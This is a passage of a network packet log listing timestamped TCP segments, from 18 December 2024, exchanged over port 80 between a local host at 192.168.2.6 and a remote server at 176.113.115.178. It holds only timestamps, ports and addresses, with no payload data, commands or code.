Dec 18, 2024 13:49:48.452356100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.452594042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.452675104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.453383923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.453764915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.453882933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.454368114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.454642057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.454698086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.455636024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.455821991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.455879927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.456371069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.456682920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.456758976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.457420111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.457624912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.457753897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.458424091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.458668947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.458796024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.459543943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.459719896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.459934950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.460503101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.460743904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.460819960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.461487055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.461678028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.461744070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.462455034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.462694883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.462837934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.463434935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.463655949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.463784933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.464500904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.464652061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.464708090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.465486050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.465778112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.465909958 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.466762066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.467336893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.467439890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.467852116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.468533993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.468887091 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.468916893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.468976974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.469124079 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.469604969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.469979048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.470186949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.470529079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.470727921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.470784903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.471474886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.471920967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.471999884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.472709894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.473140955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.473197937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.473599911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.473871946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.474204063 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.474522114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.474730015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.474832058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.475517988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.475749016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.476259947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.476622105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.477197886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.477334976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.477571964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.477786064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.477829933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.478738070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.478835106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.478899956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.479583025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.479809046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.479872942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.480782032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.480793953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.480844021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.481550932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.481930971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.481987000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.482625961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.482845068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.482918024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.483817101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.483854055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.483993053 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.484787941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.484801054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.485301971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.485625029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.486057043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.486104012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.486727953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.487088919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.487344980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.487817049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.487833977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.488238096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.488914013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.489098072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.489300966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.489636898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.489907026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.490050077 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.490637064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.490969896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.491089106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.491615057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.491954088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.492017984 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.492644072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.492902994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.492985010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.493701935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.494168043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.494225979 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.494708061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.495073080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.495206118 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.495635986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.495961905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.496269941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.496958971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.497157097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.497232914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.497749090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.498029947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.498132944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.498680115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.540632010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.638195992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.638302088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.638398886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.638655901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.639238119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.639305115 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.639580965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.639987946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.640041113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.640609026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.640826941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.641674995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.641910076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.641932011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.642553091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.642648935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.642771959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.642934084 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.643611908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.643804073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.643872976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.644520044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.644787073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.644861937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.645540953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.645802975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.645874977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.646560907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.646852970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.646975994 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.647581100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.647783041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.647866964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.648574114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.648825884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.648911953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.649672031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.649813890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.650223970 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.651283026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.651401043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.651546001 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.651808023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.652353048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.652491093 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.652631044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.653065920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.653163910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.653630972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.653964996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.654073000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.654742956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.654798985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.654859066 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.655622005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.655829906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.655950069 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.656599045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.656905890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.656980991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.657661915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.658015013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.658165932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.658740044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.658926964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.659070015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.659657955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.659842014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.660083055 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.660605907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.660821915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.661081076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.661637068 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.661870956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.661958933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.662663937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.662910938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.663023949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.663911104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.663923025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.664021969 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.664757013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.665010929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.665194035 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.665714979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.666101933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.666260004 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.666668892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.667165041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.667390108 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.667712927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.667913914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.668021917 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.668692112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.668925047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.669023991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.669943094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.670909882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.671356916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.671505928 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.671538115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.671637058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.672158003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.672688007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.672930002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.673090935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.673276901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.673423052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.674158096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.674170971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.674242020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.674938917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.674957037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.675306082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.675976038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.675987959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.676032066 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.677035093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.677047014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.677108049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.677771091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.677953959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.678006887 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.678786039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.679213047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.679281950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.679744959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.680273056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.680387020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.680784941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.681036949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.681118965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.681801081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.682080030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.682174921 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.682790041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.683006048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.683064938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.683839083 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.684015036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.684189081 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.684952021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.685128927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.685267925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.685867071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.686064959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.686115980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.686810970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.687134027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.687233925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.687966108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.688138008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.688251972 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.688879967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.689126015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.689177036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.689815998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.690149069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.690196991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.690784931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.743737936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.830805063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.830827951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.830884933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.831245899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.831639051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.831693888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.832156897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.832961082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.833023071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.833664894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.833834887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.833884954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.834415913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.834527016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.834578991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.835249901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.835392952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.835462093 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.836086035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.836416006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.836566925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.837090969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.837306023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.837356091 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.837959051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.838499069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.838651896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.839046955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.839284897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.839428902 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.839746952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.839945078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.840054035 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.840620041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.840890884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.840969086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:48.841674089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.841862917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:48.841968060 CET	49822	80	192.168.2.6	176.113.115.178
